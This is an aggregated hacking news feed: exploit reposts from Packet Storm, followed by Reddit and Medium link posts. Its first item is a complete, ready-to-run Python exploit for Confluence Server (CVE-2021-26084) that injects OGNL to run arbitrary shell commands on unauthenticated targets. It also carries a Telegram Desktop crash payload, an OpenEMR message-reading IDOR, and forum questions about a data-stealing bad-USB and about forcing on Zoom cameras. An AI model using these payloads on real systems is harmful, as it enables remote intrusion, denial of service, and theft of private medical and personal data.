Exploit Collector
Confluence Server 7.12.4 OGNL Injection Remote Code Execution

https://2.bp.blogspot.com/-9-swdJydXNw/WWlu-Z7JktI/AAAAAAAAIJ0/CxXmre-Va7QW9KRwpgdSNcn8lp40qwLtQCLcBGAs/s1600/h117.png
Confluence Server version 7.12.4 unauthenticated OGNL injection remote code execution exploit.

MD5 | 0340434a86c779c9694e3699eb42446f

Download
# Exploit Title: Confluence Server 7.12.4 - 'OGNL injection' Remote Code Execution (RCE) (Unauthenticated)
# Date: 01/09/2021
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.12.x versions before 7.12.5
# Tested on: Linux Distros
# CVE : CVE-2021-26084

#!/usr/bin/python3

# References:
# https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
# https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md

import requests
from bs4 import BeautifulSoup
import optparse

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: http://confluencexxx.com")
parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /pages/createpage-entervariables.action?SpaceKey=x")

options, args = parser.parse_args()
session = requests.Session()

url_vuln = options.url
endpoint = options.path

if not options.url or not options.path:

print('[+] Specify an url target')
print('[+] Example usage: exploit.py -u http://xxxxx.com -p /pages/createpage-entervariables.action?SpaceKey=x')
print('[+] Example help usage: exploit.py -h')
exit()
def banner():

print('---------------------------------------------------------------')
print('[-] Confluence Server Webwork OGNL injection')
print('[-] CVE-2021-26084')
print('[-] https://github.com/h3v0x')
print('--------------------------------------------------------------- \n')
def cmdExec():

while True:
cmd = input('> ')
xpl_url = url_vuln + endpoint
xpl_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Accept-Encoding": "gzip, deflate"}
xpl_data = {"queryString": "aaaaaaaa\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022"+cmd+"\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"}
rawHTML = session.post(xpl_url, headers=xpl_headers, data=xpl_data)

soup = BeautifulSoup(rawHTML.text, 'html.parser')
queryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value']
print(queryStringValue)
banner()
cmdExec()


Source:packetstormsecurity.com

Exploit Collector
Telegram Desktop 2.9.2 Denial Of Service

https://3.bp.blogspot.com/-Q0zmt52Iz_s/WWlvCi1SqRI/AAAAAAAAIKo/56GGQ_7zLBsvaLtYw9wmjI_Jb6z2oza2QCLcBGAs/s1600/h129.png
Telegram Desktop version 2.9.2 suffers from a denial of service vulnerability.

MD5 | 7f8147da0d652d6e710d1b391e19ff36

Download
# Exploit Title: Telegram Desktop 2.9.2 - Denial of Service (PoC)
# Exploit Author: Aryan Chehreghani
# Date: 2021-08-30
# Vendor Homepage: https://telegram.org
# Software Link: https://telegram.org/dl/desktop/win64
# Tested Version: 2.9.2 x64
# Tested on OS: Windows 10 Enterprise

# [ About App ]

#Telegram is a messaging app with a focus on speed and security, it’s super-fast, simple and free,
#You can use Telegram on all your devices at the same time — your messages sync seamlessly across any number of your phones, tablets or computers.
#Telegram has over 500 million monthly active users and is one of the 10 most downloaded apps in the world.
#With Telegram, you can send messages, photos, videos and files of any type (doc, zip, mp3, etc), as well as create groups for up to 200,000 people or channels for broadcasting to unlimited audiences.
#You can write to your phone contacts and find people by their usernames. As a result,
#Telegram is like SMS and email combined — and can take care of all your personal or business messaging needs,
#Telegram is support end-to-end encrypted voice and video calls, as well as voice chats in groups for thousands of participants.

# [ POC ]

# 1.Run the python script, it will create a new file "output.txt"
# 2.Run Telegram Desktop and go to "Saved Messages"
# 3.Copy the content of the file "output.txt"
# 4.Paste the content of dos.txt into the "Write a message..."
# 5.Crashed ;)

#!/usr/bin/env python
buffer = "\x41" * 9000000
try:
f=open("output.txt","w")
print("[!] Creating %s bytes DOS payload...." %len(buffer))
f.write(buffer)
f.close()
print("[!] File Created !")
except:
print("File cannot be created")


Source:packetstormsecurity.com

Exploit Collector
OpenEMR 6.0.0 Insecure Direct Object Reference

https://4.bp.blogspot.com/-gQsa2Au6OFw/WWlvKe9cGFI/AAAAAAAAIME/7MuhuX3Jqy0CeEu0oyVXmXST8BDpKvIGgCLcBGAs/s1600/h15.png
OpenEMR version 6.0.0 suffers from an insecure direct object reference vulnerability.

MD5 | cfdad061a5f147865a0eb5338656760f

Download
# Exploit Title: Openemr 6.0.0 - Insecure direct object references
# Date: 31/8/2021
# Exploit Author: Allen Enosh Upputori
# Vendor Homepage: https://community.open-emr.org
# Version: 6.0.0
# Tested on: Linux
# CVE: 2021-40352

PoC: An attacker who has Physician Access can read messages with were sent to others members including admin messages the vulnerability exits in the print message feature = "pnotes_print.php?noteid=16" changing the "noteid=" to any other number will reveal the messages of everyone

https://github.com/allenenosh/CVE-2021-40352


Source:packetstormsecurity.com

hacking: security in practice
Cisco Equipment Useful In Ethical Hacking?

To summarize, I got my CCNA for a good foundation, and on my study journey I purchased a rack of 6 Cisco Devices (Catalyst 3750 Switches & 1841 Routers, 3 of each). But now I want to become a Pen Tester and I am working on Security + then probably onto CEH once I'm done.

I want to know, should I sell this Cisco hardware for some spare cash? Or would it be useful to keep and use for labs in my Pen Tester journey? I am planning on doing a Security lab with my PC with VM's to practice hacking on. I'm just not sure if this Cisco hardware is worth holding onto while I aim for Pen Tester in my future.

Any feedback will be greatly appreciated, thank you in advance.

submitted by /u/xkayzz
[link] [comments]

hacking: security in practice
A bad-usb but (hopefully) with a twist

Hello all!

​

I've been wondering for a while now if it's possible to create a script or code that you can plant inside a usb to turn into a bad usb which in turn when connected to a computer copies over or downloads all/some files, folders from a certain directory.

For example I connect said usb to a computer and it automatically downloads all files from a certain directory of choice.

​

Question is here ; is it possible but most importantly is it doable?

​

PS: If you couldn't tell I'm an absolute beginner and newb at coding,hacking ,and anything related so please go easy lol.

​

Thank you all in advance!

​

-TJ

submitted by /u/TheJinn2614
[link] [comments]

https://external-preview.redd.it/ciAIzO2b3N-QonHc_Itl9SLWaDZHmjYkal5yIDv6BA8.jpg?width=640&crop=smart&auto=webp&s=21a92ba61ccebf0d749f95ef45bead0760634371 "In 1973, ARPA funds the outfitting of a packet radio research van at SRI to develop standards for a Packet Radio Network (PRNET). As the unmarked van drives through the San Francisco Bay Area, stuffed full of hackers and sometimes uniformed generals, it is pioneering wireless, packet-switched digital networks, including the kind your mobile phone uses today. A related set of experiments test out Voice Over IP (like the later Skype). The van will also play a huge role in 1977 as a major birthplace of the Internet."

https://preview.redd.it/ct4m0nkukxk71.jpg?width=800&format=pjpg&auto=webp&s=65ddbc7cc9f68337f8d1fecd66c61d66044e1a24

https://www.computerhistory.org/timeline/networking-the-web/

Beware: This is a productivity killing rabbit hole of fun images and history.

submitted by /u/BuchoVagabond
[link] [comments]

hacking: security in practice
Raspberry Pi 32-Bit ARM Assembly - Hacking Int #radare2

https://external-preview.redd.it/902Cgj7PiTuGDW-fC4LAgs-RHU2ao-7YvMxO870z6-w.jpg?width=640&crop=smart&auto=webp&s=37dad52bef7097112c2232341de53a8fad93c2e4 submitted by /u/mytechnotalent_com
[link] [comments]

hacking: security in practice
Zoom camera enabler

Is it possible for a host to enable audio and video in a zoom meeting using 3erd party programs, even if the members of the meeting have their audio and video disabled through Zoom?

submitted by /u/Hawk2057
[link] [comments]

Hacking on Medium
Ice — TryHackMe Walkthrough in easy steps using Metasploit

https://cdn-images-1.medium.com/max/1017/1*pwEM3f4QtIxcAcMgRPzK1A.png
Hey, I am Rahul Bhichher a noob in Cyber Security same like you! This is my first write-up about TryHackMe rooms.

Continue reading on NetworkingSec »

Hacking on Medium
Explicando o csrf(Cross-site Request Forgery), o’que e? Como executar? E etc

https://cdn-images-1.medium.com/max/849/1*mgHzeEcVexyTBm_6ZcceaA.png
Nesse artigo explicarei como funciona um csrf e como se faz a verificação de tal falha de segurança.

Continue reading on Medium »